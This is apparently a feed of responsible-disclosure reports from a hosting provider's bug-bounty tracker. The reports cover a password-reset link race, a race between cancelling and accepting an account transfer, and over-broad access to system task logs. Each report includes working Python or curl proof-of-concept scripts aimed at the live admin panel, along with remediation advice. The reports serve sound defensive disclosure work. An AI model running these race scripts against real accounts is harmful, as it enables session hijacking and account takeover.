 → `200` on `/password/sent/`; the e-mail contains:
 `https://admin.alwaysdata.com/user/reset_password/?user_id=…&amp;token=…&amp;expiration=…`</pre>

<p>
 2. <strong>Control (sequential).</strong> Two sessions each GET the link (a GET does not consume the token; each GET returns the form with a CSRF token and a session cookie), then POST — the second POST only <strong>after</strong> the first has completed. Result: first accepted, second rejected.
</p>

<p>
3. <strong>Race.</strong> N sessions each GET the link first, then POST <strong>simultaneously</strong> (thread barrier; `&amp;` + `wait` in shell also works). A GET-then-POST per session is required because each POST needs its own CSRF token and session cookie. Result: every POST is accepted.
</p>

<p>
Self-contained repro script (`python3 poc.py &quot;&lt;link&gt;&quot; &lt;control|race&gt; &lt;N&gt;`):
</p>

<p>
```python<br />import re, sys, threading, urllib.parse, urllib.request, http.cookiejar
</p>

<p>
BASE = &quot;<a href="https://admin.alwaysdata.com" class="urlextern" title="https://admin.alwaysdata.com"  rel="nofollow">https://admin.alwaysdata.com</a>&quot;
</p>

<p>
def new_session(link):
</p>
<pre class="code">  cj = http.cookiejar.CookieJar()
  op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
  body = op.open(link, timeout=30).read().decode(&quot;utf-8&quot;, &quot;replace&quot;)
  csrf = re.search(r&#039;name=&quot;csrfmiddlewaretoken&quot; value=&quot;([^&quot;]+)&quot;&#039;, body).group(1)
  return op, csrf</pre>

<p>
 def submit(op, link, csrf, password):
</p>
<pre class="code">  data = urllib.parse.urlencode({&quot;csrfmiddlewaretoken&quot;: csrf, &quot;password&quot;: password}).encode()
  body = op.open(urllib.request.Request(link, data=data,
                headers={&quot;Referer&quot;: link}), timeout=30).read().decode(&quot;utf-8&quot;, &quot;replace&quot;)
  flat = re.sub(r&quot;&lt;[^&gt;]+&gt;&quot;, &quot; &quot;, re.sub(r&quot;&lt;script.*?&lt;/script&gt;&quot;, &quot; &quot;, body, flags=re.S))
  if &quot;lien utilisé est invalide&quot; in flat: return &quot;INVALID (rejected)&quot;
  if &quot;Logout&quot; in flat:                    return &quot;ACCEPTED (authenticated panel page)&quot;
  return &quot;?&quot; </pre>

<p>
 def is_authed(op):
</p>
<pre class="code">  home = op.open(BASE + &quot;/&quot;, timeout=30).read().decode(&quot;utf-8&quot;, &quot;replace&quot;)
  return &quot;Logout&quot; in re.sub(r&quot;&lt;[^&gt;]+&gt;&quot;, &quot; &quot;, re.sub(r&quot;&lt;script.*?&lt;/script&gt;&quot;, &quot; &quot;, home, flags=re.S))</pre>

<p>
 link, mode, n = sys.argv[1], sys.argv[2], int(sys.argv[3])<br />sess = [new_session(link) for _ in range(n)]<br />if mode == &quot;control&quot;:                      # second POST after the first completed
</p>
<pre class="code">  for i, (op, csrf) in enumerate(sess):
      print(&quot;POST #%d:&quot; % i, submit(op, link, csrf, &quot;SeqPw%d!x7Kq&quot; % i))</pre>

<p>
else:                                      # all POSTs fired simultaneously
</p>
<pre class="code">  out, barrier = {}, threading.Barrier(n)
  def worker(i):
      barrier.wait()
      out[i] = submit(sess[i][0], link, sess[i][1], &quot;RacePw%d!xyz&quot; % i)
  ts = [threading.Thread(target=worker, args=(i,)) for i in range(n)]
  [t.start() for t in ts]; [t.join() for t in ts]
  for i in sorted(out): print(&quot;parallel POST #%d:&quot; % i, out[i])</pre>

<p>
for i, (op, _) in enumerate(sess):
</p>
<pre class="code">  print(&quot;session #%d authenticated: %s&quot; % (i, is_authed(op)))</pre>

<p>
```
</p>

<p>
<strong>Observed — race (`race`, N=4, fresh link from a newly requested e-mail):</strong> ```<br />parallel POST #0: ACCEPTED (authenticated panel page)<br />parallel POST #1: ACCEPTED (authenticated panel page)<br />parallel POST #2: ACCEPTED (authenticated panel page)<br />parallel POST #3: ACCEPTED (authenticated panel page)<br />session #0 authenticated: True<br />session #1 authenticated: True<br />session #2 authenticated: True<br />session #3 authenticated: True<br />```<br />Earlier run with N=2: both accepted, both sessions authenticated, and exactly one of the two submitted passwords took effect on a subsequent login (last committed write wins).
</p>

<p>
## Impact<br />- The single-use property (the #279 fix) does not hold under concurrency: one link can be consumed several times at once, and each consumption mints an authenticated session.<br />- Concrete scenario: the attacker holds a leaked link (leaked mailbox, forwarding, logs). When the victim uses it, the attacker&#039;s parallel burst also passes validation. The victim sees a normal successful reset; the attacker keeps a session and, if their request commits last, an attacker-known password — on a link that is supposed to be dead after one use.<br />- No brute force or scanning needed: a handful of requests per attempt reproduces it; severity is Low because the attacker must already possess the link.
</p>

<p>
## Remediation<br />- Make consumption atomic and single-writer: `UPDATE reset_token SET used=1 WHERE token=&lt;t&gt; AND used=0` (or `SELECT … FOR UPDATE`), and treat `rowcount == 0` as &quot;already used&quot; — reject in-flight duplicates instead of processing them.<br />- Mark the token used <strong>before</strong> applying the password change, so exactly one concurrent request wins.<br />- Defence in depth: on successful reset, invalidate the user&#039;s other outstanding reset links and existing sessions.
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/512">
    <title>FS#512: Account-transfer cancel and accept are not mutually exclusive  </title>
    <link>https://security.alwaysdata.com/task/512</link>
    <dc:date>2026-10-02T07:05:28Z</dc:date>
    <dc:creator>Arjun</dc:creator>
     <description>

# Account-transfer cancel and accept are not mutually exclusive — a concurrent accept completes a transfer the owner cancelled (bypass of the #151/#156 fixes)



Severity: MediumAffected: `POST https://admin.alwaysdata.com/transfer/&amp;lt;id&amp;gt;/cancel/` and `POST https://admin.alwaysdata.com/transfer/&amp;lt;id&amp;gt;/accept/`Same root cause: `POST https://admin.alwaysdata.com/transfer/add/?_field_type=account` (the &amp;quot;one pending transfer per account&amp;quot; guard is racy)Related: #156 (&amp;quot;Block concurrent transfer requests … conflict check&amp;quot;, closed fixed) and #151 (&amp;quot;pending invitations invalidated upon transfer&amp;quot;, closed fixed) — this report is a concurrency bypass of both guarantees



## SummaryThe cancel and accept state transitions of an account-transfer request are not mutually exclusive. When the owner&amp;#039;s cancel and the recipient&amp;#039;s accept are submitted at the same instant, both commit: the cancel returns its success redirect and the panel shows *&amp;quot;The transfer has been cancelled.&amp;quot;*, the accept returns its success redirect, and the account is nevertheless transferred to the recipient (with all its resources — sites, domains, mailboxes, databases, SSH). Sequentially the two are exclusive (cancel-then-accept → `404` on the accept; accept-then-cancel → `403` on the cancel), so only the concurrent window is at issue — the same non-atomic state-transition class as #279.



Two supporting defects in the same fix family:1. The concurrent-request guard on transfer creation is also racy: parallel creates for the same account produced 2/4, 3/4 and 4/4 simultaneous pending records, while a sequential second attempt is refused (&amp;quot;Select a valid choice. That choice is not one of the available choices.&amp;quot; — the account is removed from the form&amp;#039;s selectable set while a transfer is pending).2. `cancel` revokes only the record it names. With duplicates pending (per defect 1), cancelling one leaves the siblings listed and acceptable; accepting a surviving sibling moved the account — i.e. the revoked transfer still completed.



## PreconditionsTwo accounts owned by the tester on the same platform: A (current owner / sender) and B (invited recipient). No third party is involved; ownership was reverted after every run. Testing was on the free plan, where only `_field_type=account` records can be created (the `site`/`domain` selects are empty for accounts without custom domains) — so the account-type transfer is the path exercised here; it is the same create/cancel/accept code path.



## Steps to reproduceAll requests must reuse a logged-in cookie jar per account (`-b jar -c jar`); the transfer record id must be a *fresh, pending* record created in step 1. (A stale/cancelled/consumed id returns `403` on cancel by design — that is the consumed-record signature, not the bug.)



1. A creates a transfer of A&amp;#039;s account to B:

 ```
 TOK=$(curl -b jarA -c jarA -s &amp;#039;https://admin.alwaysdata.com/transfer/add/?_field_type=account&amp;#039; \
       | grep -o &amp;#039;name=&amp;quot;csrfmiddlewaretoken&amp;quot; value=&amp;quot;[^&amp;quot;]*&amp;quot;&amp;#039; | head -1 | cut -d&amp;#039;&amp;quot;&amp;#039; -f4)
 curl -b jarA -c jarA -s -o /dev/null -w &amp;#039;create=%{http_code}\n&amp;#039; -X POST \
   -H &amp;#039;Referer: https://admin.alwaysdata.com/transfer/add/?_field_type=account&amp;#039; \
   --data-urlencode &amp;quot;csrfmiddlewaretoken=$TOK&amp;quot; --data-urlencode &amp;quot;account=&amp;lt;A account id&amp;gt;&amp;quot; \
   --data-urlencode &amp;quot;email=&amp;lt;B email&amp;gt;&amp;quot; --data-urlencode &amp;quot;submit=Submit&amp;quot; \
   &amp;#039;https://admin.alwaysdata.com/transfer/add/?_field_type=account&amp;#039;
 ID=$(curl -b jarA -c jarA -s https://admin.alwaysdata.com/transfer/ \
      | grep -o &amp;#039;/transfer/[0-9]*/&amp;#039; | grep -o &amp;#039;[0-9]*&amp;#039; | sort -n | tail -1)   # the new pending record
 ```
 → `create=302`; the record is listed for both parties; B&amp;#039;s transfer page serves an accept form.


 2. CSRF tokens for cancel/accept must come from each side&amp;#039;s `/transfer/` LIST page (the cancel/accept URLs themselves contain no token):

 ```
 TOK_A=$(curl -b jarA -c jarA -s https://admin.alwaysdata.com/transfer/ | grep -o &amp;#039;name=&amp;quot;csrfmiddlewaretoken&amp;quot; value=&amp;quot;[^&amp;quot;]*&amp;quot;&amp;#039; | head -1 | cut -d&amp;#039;&amp;quot;&amp;#039; -f4)
 TOK_B=$(curl -b jarB -c jarB -s https://admin.alwaysdata.com/transfer/ | grep -o &amp;#039;name=&amp;quot;csrfmiddlewaretoken&amp;quot; value=&amp;quot;[^&amp;quot;]*&amp;quot;&amp;#039; | head -1 | cut -d&amp;#039;&amp;quot;&amp;#039; -f4)
 ```


 3. Owner cancels, recipient accepts — fired together (shell `&amp;amp;`; a thread barrier in a script is more deterministic):

 ```
 curl -b jarA -c jarA -s -o /dev/null -w &amp;#039;cancel=%{http_code}\n&amp;#039; -X POST \
   -H &amp;quot;Referer: https://admin.alwaysdata.com/transfer/&amp;quot; \
   --data &amp;quot;csrfmiddlewaretoken=$TOK_A&amp;amp;submit=yes&amp;quot; \
   &amp;quot;https://admin.alwaysdata.com/transfer/$ID/cancel/&amp;quot; &amp;amp;
 curl -b jarB -c jarB -s -o /dev/null -w &amp;#039;accept=%{http_code}\n&amp;#039; -X POST \
   -H &amp;quot;Referer: https://admin.alwaysdata.com/transfer/&amp;quot; \
   --data &amp;quot;csrfmiddlewaretoken=$TOK_B&amp;amp;submit=yes&amp;quot; \
   &amp;quot;https://admin.alwaysdata.com/transfer/$ID/accept/&amp;quot; &amp;amp;
 wait
 ```


 4. Verify from B&amp;#039;s own session: `GET /transfer/add/?_field_type=account` now lists A&amp;#039;s account id in the recipient&amp;#039;s select, although the owner&amp;#039;s cancel returned `302` and A&amp;#039;s panel showed *&amp;quot;The transfer has been cancelled.&amp;quot;* (A GET of `/transfer/` immediately after the cancel shows the confirmation; A&amp;#039;s own select no longer lists the account.)



### Observed (race)Barrier-based run, 5 trials, fresh record per trial:```trial 1: record=… cancel=(302) accept=(302) cancel_flash=&amp;#039;The transfer has been cancelled.&amp;#039; MOVED=Truetrial 2: record=… cancel=(302) accept=(302) cancel_flash=&amp;#039;The transfer has been cancelled.&amp;#039; MOVED=Truetrial 3: record=… cancel=(302) accept=(302) cancel_flash=&amp;#039;(no flash)&amp;#039;                     MOVED=False (accept 404)trial 4: record=… cancel=(302) accept=(302) cancel_flash=&amp;#039;(no flash)&amp;#039;                     MOVED=False (accept 404)trial 5: record=… cancel=(302) accept=(302) cancel_flash=&amp;#039;(no flash)&amp;#039;                     MOVED=False (accept 404)RESULT: 2/5 trials moved the account```Earlier runs: 3/3 moved, and 4/4 moved (shell `&amp;amp;`). Overall 9/12 documented race attempts moved the account after the owner&amp;#039;s cancellation; when the cancel wins instead, the accept receives its normal `404`. `MOVED=True` was verified from the recipient&amp;#039;s own `/transfer/add/?_field_type=account` select containing the owner&amp;#039;s account id, and the owner&amp;#039;s panel listing no accounts. Ownership was reverted after every successful move (transfer in the opposite direction).



### Supporting defect 1 — racy create-guard (4 parallel creates for the same account)```parallel #0: (302)   parallel #1: (302)   parallel #2: (200)   parallel #3: (302)PENDING RECORDS: [&amp;#039;5098&amp;#039;,&amp;#039;5099&amp;#039;,&amp;#039;5100&amp;#039;]      (sequential second create → refused)```



### Supporting defect 2 — cancel revokes only the named recordWith records `[5103..5106]` pending, cancelling only `5103` left `5104`/`5105`/`5106` listed for both parties and their accept form live (`GET /transfer/5104/accept/ → 200`); accepting `5104` moved the account. Positive control: when a transfer *completes*, the acceptance does invalidate all sibling records — accepts of `5099`/`5100` returned `404` afterwards.



## Impact- The owner&amp;#039;s cancellation is not authoritative. A recipient who was invited — or whose invitation the owner is revoking (e.g. sent by mistake) — can complete the transfer in the same instant the owner cancels: the owner sees *&amp;quot;The transfer has been cancelled.&amp;quot;* while the account and all of its resources move to the recipient.- The same root cause defeats #156&amp;#039;s invariant (&amp;quot;concurrent transfer requests for the same account must be impossible&amp;quot;): the guard is racy, and duplicate records further weaken revocation, because cancelling one record does not revoke the transfer.- Not bounded by brute force or scanning: a handful of requests per attempt; the only condition is that the recipient races their accept into the cancel window (the recipient is a legitimate party to the request).



## Remediation- Make the state transition atomic and single-writer, e.g. `UPDATE transfer_request SET state=&amp;#039;cancelled&amp;#039;, … WHERE id=? AND state=&amp;#039;pending&amp;#039;` and treat `rowcount == 0` as &amp;quot;already consumed&amp;quot; (same for accept); serialize both operations on the record row (`SELECT … FOR UPDATE` or an equivalent compare-and-set), so exactly one of cancel/accept wins and the loser observes the state it actually landed in.- `cancel` (on either side, and especially by the owner) should atomically revoke all pending records for the account, not only the named one.- Enforce &amp;quot;one pending transfer per account&amp;quot; with a uniqueness/constraint checked at commit time (and by the conditional insert), not only by excluding the account from the form&amp;#039;s choices.- Defence in depth: return a distinct error when a losing operation hits a non-pending record (a consumed-record cancel currently returns an opaque `403`).

</description>
    <content:encoded><![CDATA[
<p>
# Account-transfer cancel and accept are not mutually exclusive — a concurrent accept completes a transfer the owner cancelled (bypass of the #151/#156 fixes)
</p>

<p>
<strong>Severity:</strong> Medium<br /><strong>Affected:</strong> `POST <a href="https://admin.alwaysdata.com/transfer/" class="urlextern" title="https://admin.alwaysdata.com/transfer/"  rel="nofollow">https://admin.alwaysdata.com/transfer/</a>&lt;id&gt;/cancel/` and `POST <a href="https://admin.alwaysdata.com/transfer/" class="urlextern" title="https://admin.alwaysdata.com/transfer/"  rel="nofollow">https://admin.alwaysdata.com/transfer/</a>&lt;id&gt;/accept/`<br /><strong>Same root cause:</strong> `POST <a href="https://admin.alwaysdata.com/transfer/add/?_field_type=account" class="urlextern" title="https://admin.alwaysdata.com/transfer/add/?_field_type=account"  rel="nofollow">https://admin.alwaysdata.com/transfer/add/?_field_type=account</a>` (the &quot;one pending transfer per account&quot; guard is racy)<br /><strong>Related:</strong> #156 (&quot;Block concurrent transfer requests … conflict check&quot;, closed fixed) and #151 (&quot;pending invitations invalidated upon transfer&quot;, closed fixed) — this report is a concurrency bypass of both guarantees
</p>

<p>
## Summary<br />The cancel and accept state transitions of an account-transfer request are not mutually exclusive. When the owner&#039;s cancel and the recipient&#039;s accept are submitted at the same instant, <strong>both commit</strong>: the cancel returns its success redirect and the panel shows *&quot;The transfer has been cancelled.&quot;*, the accept returns its success redirect, and the account is nevertheless transferred to the recipient (with all its resources — sites, domains, mailboxes, databases, <acronym title="Secure Shell">SSH</acronym>). Sequentially the two are exclusive (cancel-then-accept → `404` on the accept; accept-then-cancel → `403` on the cancel), so only the concurrent window is at issue — the same non-atomic state-transition class as #279.
</p>

<p>
Two supporting defects in the same fix family:<br />1. The concurrent-request guard on transfer <strong>creation</strong> is also racy: parallel creates for the same account produced <strong>2/4, 3/4 and 4/4</strong> simultaneous pending records, while a sequential second attempt is refused (&quot;Select a valid choice. That choice is not one of the available choices.&quot; — the account is removed from the form&#039;s selectable set while a transfer is pending).<br />2. `cancel` revokes only the record it names. With duplicates pending (per defect 1), cancelling one leaves the siblings listed <strong>and acceptable</strong>; accepting a surviving sibling moved the account — i.e. the revoked transfer still completed.
</p>

<p>
## Preconditions<br />Two accounts owned by the tester on the same platform: A (current owner / sender) and B (invited recipient). No third party is involved; ownership was reverted after every run. Testing was on the free plan, where only `_field_type=account` records can be created (the `site`/`domain` selects are empty for accounts without custom domains) — so the account-type transfer is the path exercised here; it is the same create/cancel/accept code path.
</p>

<p>
## Steps to reproduce<br />All requests must reuse a <strong>logged-in cookie jar</strong> per account (`-b jar -c jar`); the transfer record id must be a *fresh, pending* record created in step 1. (A stale/cancelled/consumed id returns `403` on cancel <strong>by design</strong> — that is the consumed-record signature, not the bug.)
</p>

<p>
1. <strong>A creates a transfer</strong> of A&#039;s account to B:
</p>
<pre class="code"> ```
 TOK=$(curl -b jarA -c jarA -s &#039;https://admin.alwaysdata.com/transfer/add/?_field_type=account&#039; \
       | grep -o &#039;name=&quot;csrfmiddlewaretoken&quot; value=&quot;[^&quot;]*&quot;&#039; | head -1 | cut -d&#039;&quot;&#039; -f4)
 curl -b jarA -c jarA -s -o /dev/null -w &#039;create=%{http_code}\n&#039; -X POST \
   -H &#039;Referer: https://admin.alwaysdata.com/transfer/add/?_field_type=account&#039; \
   --data-urlencode &quot;csrfmiddlewaretoken=$TOK&quot; --data-urlencode &quot;account=&lt;A account id&gt;&quot; \
   --data-urlencode &quot;email=&lt;B email&gt;&quot; --data-urlencode &quot;submit=Submit&quot; \
   &#039;https://admin.alwaysdata.com/transfer/add/?_field_type=account&#039;
 ID=$(curl -b jarA -c jarA -s https://admin.alwaysdata.com/transfer/ \
      | grep -o &#039;/transfer/[0-9]*/&#039; | grep -o &#039;[0-9]*&#039; | sort -n | tail -1)   # the new pending record
 ```
 → `create=302`; the record is listed for both parties; B&#039;s transfer page serves an accept form.</pre>

<p>
 2. <strong>CSRF tokens for cancel/accept must come from each side&#039;s `/transfer/` LIST page</strong> (the cancel/accept URLs themselves contain no token):
</p>
<pre class="code"> ```
 TOK_A=$(curl -b jarA -c jarA -s https://admin.alwaysdata.com/transfer/ | grep -o &#039;name=&quot;csrfmiddlewaretoken&quot; value=&quot;[^&quot;]*&quot;&#039; | head -1 | cut -d&#039;&quot;&#039; -f4)
 TOK_B=$(curl -b jarB -c jarB -s https://admin.alwaysdata.com/transfer/ | grep -o &#039;name=&quot;csrfmiddlewaretoken&quot; value=&quot;[^&quot;]*&quot;&#039; | head -1 | cut -d&#039;&quot;&#039; -f4)
 ```</pre>

<p>
 3. <strong>Owner cancels, recipient accepts — fired together</strong> (shell `&amp;`; a thread barrier in a script is more deterministic):
</p>
<pre class="code"> ```
 curl -b jarA -c jarA -s -o /dev/null -w &#039;cancel=%{http_code}\n&#039; -X POST \
   -H &quot;Referer: https://admin.alwaysdata.com/transfer/&quot; \
   --data &quot;csrfmiddlewaretoken=$TOK_A&amp;submit=yes&quot; \
   &quot;https://admin.alwaysdata.com/transfer/$ID/cancel/&quot; &amp;
 curl -b jarB -c jarB -s -o /dev/null -w &#039;accept=%{http_code}\n&#039; -X POST \
   -H &quot;Referer: https://admin.alwaysdata.com/transfer/&quot; \
   --data &quot;csrfmiddlewaretoken=$TOK_B&amp;submit=yes&quot; \
   &quot;https://admin.alwaysdata.com/transfer/$ID/accept/&quot; &amp;
 wait
 ```</pre>

<p>
 4. <strong>Verify</strong> from B&#039;s own session: `GET /transfer/add/?_field_type=account` now lists A&#039;s account id in the recipient&#039;s select, although the owner&#039;s cancel returned `302` and A&#039;s panel showed *&quot;The transfer has been cancelled.&quot;* (A GET of `/transfer/` immediately after the cancel shows the confirmation; A&#039;s own select no longer lists the account.)
</p>

<p>
### Observed (race)<br />Barrier-based run, 5 trials, fresh record per trial:<br />```<br />trial 1: record=… cancel=(302) accept=(302) cancel_flash=&#039;The transfer has been cancelled.&#039; MOVED=True<br />trial 2: record=… cancel=(302) accept=(302) cancel_flash=&#039;The transfer has been cancelled.&#039; MOVED=True<br />trial 3: record=… cancel=(302) accept=(302) cancel_flash=&#039;(no flash)&#039;                     MOVED=False (accept 404)<br />trial 4: record=… cancel=(302) accept=(302) cancel_flash=&#039;(no flash)&#039;                     MOVED=False (accept 404)<br />trial 5: record=… cancel=(302) accept=(302) cancel_flash=&#039;(no flash)&#039;                     MOVED=False (accept 404)<br />RESULT: 2/5 trials moved the account<br />```<br />Earlier runs: 3/3 moved, and 4/4 moved (shell `&amp;`). Overall <strong>9/12</strong> documented race attempts moved the account after the owner&#039;s cancellation; when the cancel wins instead, the accept receives its normal `404`. `MOVED=True` was verified from the recipient&#039;s own `/transfer/add/?_field_type=account` select containing the owner&#039;s account id, and the owner&#039;s panel listing no accounts. Ownership was reverted after every successful move (transfer in the opposite direction).
</p>

<p>
### Supporting defect 1 — racy create-guard (4 parallel creates for the same account)<br />```<br />parallel #0: (302)   parallel #1: (302)   parallel #2: (200)   parallel #3: (302)<br />PENDING RECORDS: [&#039;5098&#039;,&#039;5099&#039;,&#039;5100&#039;]      (sequential second create → refused)<br />```
</p>

<p>
### Supporting defect 2 — cancel revokes only the named record<br />With records `[5103..5106]` pending, cancelling only `5103` left `5104`/`5105`/`5106` listed for both parties and their accept form live (`GET /transfer/5104/accept/ → 200`); accepting `5104` moved the account. Positive control: when a transfer *completes*, the acceptance does invalidate all sibling records — accepts of `5099`/`5100` returned `404` afterwards.
</p>

<p>
## Impact<br />- The owner&#039;s cancellation is not authoritative. A recipient who was invited — or whose invitation the owner is revoking (e.g. sent by mistake) — can complete the transfer in the same instant the owner cancels: the owner sees *&quot;The transfer has been cancelled.&quot;* while the account and all of its resources move to the recipient.<br />- The same root cause defeats #156&#039;s invariant (&quot;concurrent transfer requests for the same account must be impossible&quot;): the guard is racy, and duplicate records further weaken revocation, because cancelling one record does not revoke the transfer.<br />- Not bounded by brute force or scanning: a handful of requests per attempt; the only condition is that the recipient races their accept into the cancel window (the recipient is a legitimate party to the request).
</p>

<p>
## Remediation<br />- Make the state transition atomic and single-writer, e.g. `UPDATE transfer_request SET state=&#039;cancelled&#039;, … WHERE id=? AND state=&#039;pending&#039;` and treat `rowcount == 0` as &quot;already consumed&quot; (same for accept); serialize both operations on the record row (`SELECT … FOR UPDATE` or an equivalent compare-and-set), so exactly one of cancel/accept wins and the loser observes the state it actually landed in.<br />- `cancel` (on either side, and especially by the owner) should atomically revoke <strong>all</strong> pending records for the account, not only the named one.<br />- Enforce &quot;one pending transfer per account&quot; with a uniqueness/constraint checked at commit time (and by the conditional insert), not only by excluding the account from the form&#039;s choices.<br />- Defence in depth: return a distinct error when a losing operation hits a non-pending record (a consumed-record cancel currently returns an opaque `403`).
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/511">
    <title>FS#511: System tasks (`/task/`) readable with any single delegated permission </title>
    <link>https://security.alwaysdata.com/task/511</link>
    <dc:date>2026-10-02T07:20:55Z</dc:date>
    <dc:creator>Arjun</dc:creator>
     <description>

# System tasks (`/task/`) readable with any single delegated permission — mailbox addresses and database names disclosed beyond granted scope



Severity: Medium — per program tier *&amp;quot;Accessing permissions/config on user accounts without accessing content&amp;quot;*



Summary: When a customer delegates a single permission on their account (e.g. &amp;quot;Domains&amp;quot;) to another user, every section of the admin panel correctly enforces its own permission — `/mailbox/`, `/database/`, `/ssl/`, `/account/usage/` all return 403 for a Domains-only delegate. The &amp;quot;System tasks&amp;quot; view is the exception: `/task/` and `/task/&amp;lt;id&amp;gt;/detail/` are accessible to any user holding at least one permission on the account — any permission works (Domains-only, SSL-only, Usage-only, Scheduled-tasks-only were each tested). The delegate can therefore read the account-wide operations feed, including operations for sections they are explicitly denied: mailbox addresses, database names, Apache/database operations.



The dedicated &amp;quot;Scheduled tasks&amp;quot; permission (`account_job`) *is* correctly enforced for `/job/` (403 without it, 200 with it), which shows section-level authorization exists and `/task/` simply does not apply it.Access is grant-derived (not a cross-customer object IDOR): once the grant is removed, the same requests return 404.



Affected URL / endpoints: - `GET https://admin.alwaysdata.com/task/`- `GET https://admin.alwaysdata.com/task/&amp;lt;id&amp;gt;/detail/`



Repro (clean curl) — two tester-owned accounts required; `A` is the owner of `adtesta1` (account id `503524`), `B` is a second user with no access initially:



```bashBASE=https://admin.alwaysdata.com A_EMAIL=&amp;#039;owner@example.com&amp;#039;      A_PASS=&amp;#039;owner-password&amp;#039;     # owns adtesta1 (account id 503524)B_EMAIL=&amp;#039;delegate@example.com&amp;#039;   B_PASS=&amp;#039;delegate-password&amp;#039;  # second user, no access yet



csrf() { grep -o &amp;#039;name=&amp;quot;csrfmiddlewaretoken&amp;quot; value=&amp;quot;[^&amp;quot;]*&amp;quot;&amp;#039; &amp;quot;$1&amp;quot; | head -1 | cut -d&amp;#039;&amp;quot;&amp;#039; -f4; }login() { # $1=jar $2=email $3=password

curl -s -c &amp;quot;$1&amp;quot; &amp;quot;$BASE/login/&amp;quot; -o /tmp/login.html
curl -s -b &amp;quot;$1&amp;quot; -c &amp;quot;$1&amp;quot; -X POST &amp;quot;$BASE/login/&amp;quot; -H &amp;quot;Referer: $BASE/login/&amp;quot; \
     --data-urlencode &amp;quot;csrfmiddlewaretoken=$(csrf /tmp/login.html)&amp;quot; \
     --data-urlencode &amp;quot;login=$2&amp;quot; --data-urlencode &amp;quot;password=$3&amp;quot; -o /dev/null


}



# — 1) Owner A grants delegate B ONLY the &amp;quot;Domains&amp;quot; permission on adtesta1 — login A.jar &amp;quot;$A_EMAIL&amp;quot; &amp;quot;$A_PASS&amp;quot;curl -s -b A.jar -c A.jar &amp;quot;$BASE/permissions/add/&amp;quot; -o /tmp/grant.htmlcurl -s -b A.jar -c A.jar -X POST &amp;quot;$BASE/permissions/add/&amp;quot; -H &amp;quot;Referer: $BASE/permissions/add/&amp;quot; \


-data-urlencode &amp;quot;csrfmiddlewaretoken=$(csrf /tmp/grant.html)&amp;quot; \

-data-urlencode &amp;quot;email=$B_EMAIL&amp;quot; \

-data-urlencode &amp;quot;account=503524&amp;quot; \

-data-urlencode &amp;quot;503524_account_domain=on&amp;quot; -o /dev/null




# (checkbox name pattern is &amp;lt;account_id&amp;gt;_account_&amp;lt;permission&amp;gt;)



# — 2) Delegate B logs in, switches to the adtesta1 object context, reads tasks — login B.jar &amp;quot;$B_EMAIL&amp;quot; &amp;quot;$B_PASS&amp;quot;curl -s -b B.jar -c B.jar &amp;quot;$BASE/&amp;quot; -o /tmp/b.htmlcurl -s -b B.jar -c B.jar -X POST &amp;quot;$BASE/&amp;quot; -H &amp;quot;Referer: $BASE/&amp;quot; \


-data-urlencode &amp;quot;csrfmiddlewaretoken=$(csrf /tmp/b.html)&amp;quot; \

-data-urlencode &amp;quot;change-object=account_adtesta1&amp;quot; -o /dev/null




 # — 3) B reads the account&amp;#039;s task feed — real data — curl -s -b B.jar -o /dev/null -w &amp;#039;GET /task/ → %{http_code}\n&amp;#039; &amp;quot;$BASE/task/&amp;quot;curl -s -b B.jar &amp;quot;$BASE/task/&amp;quot; \

| grep -o &amp;#039;/task/[0-9]*/detail/&amp;quot;&amp;gt;\[[^]]*\][^&amp;lt;]*&amp;#039; \
| sed &amp;#039;s|/task/\([0-9]*\)/detail/&amp;quot;&amp;gt;|\1  |&amp;#039; | head -4


# 40721533  [adtesta1] adtesta1@alwaysdata.net mailbox configuration# 40720561  [adtesta1] Updating database permissions MySQL: adtesta1_db# 40720560  [adtesta1] Database creation MySQL: adtesta1_db# 40720415  [adtesta1] Database user creation RabbitMQ: adtesta1



# pick any task id shown in the list, then read its detail page:curl -s -b B.jar -o /dev/null -w &amp;#039;GET /task/&amp;lt;id&amp;gt;/detail/ → %{http_code}\n&amp;#039; &amp;quot;$BASE/task/&amp;lt;id&amp;gt;/detail/&amp;quot;curl -s -b B.jar &amp;quot;$BASE/task/&amp;lt;id&amp;gt;/detail/&amp;quot; | tr &amp;#039;\n&amp;#039; &amp;#039; &amp;#039; \

| grep -oE &amp;#039;&amp;lt;th[^&amp;gt;]*&amp;gt;(Description|Opening date|Status|Involved account):&amp;lt;/th&amp;gt;[[:space:]]*&amp;lt;td&amp;gt;[^&amp;lt;]*&amp;#039; \
| sed -E &amp;#039;s/&amp;lt;th[^&amp;gt;]*&amp;gt;//; s|&amp;lt;/th&amp;gt;[[:space:]]*&amp;lt;td&amp;gt;| |&amp;#039;


# Description: [adtesta1] Updating Apache configuration# Opening date: Oct 1, 2026, 5:38:58 PM# Status: Completed# Involved account: adtesta1



# — 4) Controls, same session — for u in /domain/ /mailbox/ /database/ /ssl/ /account/usage/ /job/; do

curl -s -b B.jar -o /dev/null -w &amp;quot;GET $u -&amp;gt; %{http_code}\n&amp;quot; &amp;quot;$BASE$u&amp;quot;


done```



Observed — output of `repro-01-system-tasks-any-permission.sh` (2026-10-01, tester&amp;#039;s accounts `adtesta1` id 503524 / `adtestb1` id 503525; full log in `evidence-01-run.txt`):



```== 1) A grants B ONLY the &amp;#039;Domains&amp;#039; permission on adtesta1 (503524)

 grant record: /permissions/493113/


== 3) B reads the System tasks of adtesta1 — real data shown below

 GET /task/ -&amp;gt; 200   rows leaked for [adtesta1]: 9   (own [adtestb1] rows: 11)
 --- rows of account adtesta1 as displayed to B ---
   40721533  [adtesta1] adtesta1@alwaysdata.net mailbox configuration
   40720561  [adtesta1] Updating database permissions MySQL: adtesta1_db
   40720560  [adtesta1] Database creation MySQL: adtesta1_db
   40720415  [adtesta1] Database user creation RabbitMQ: adtesta1
 GET /task/40720409/detail/ -&amp;gt; 200   --- page content as displayed to B ---
   Description: [adtesta1] Updating Apache configuration
   Opening date: Oct 1, 2026, 5:38:58 PM
   Status: Completed
   Involved account: adtesta1
 --- controls (same session) ---
 GET /domain/           -&amp;gt; 200
 GET /mailbox/          -&amp;gt; 403
 GET /database/         -&amp;gt; 403
 GET /ssl/              -&amp;gt; 403
 GET /account/usage/    -&amp;gt; 403
 GET /job/              -&amp;gt; 403


== 4) cleanup: remove the grant== 5) verify restored

 A grant records now: 493112
 B GET /task/40720409/detail/  -&amp;gt; 404  (expect 404)


```



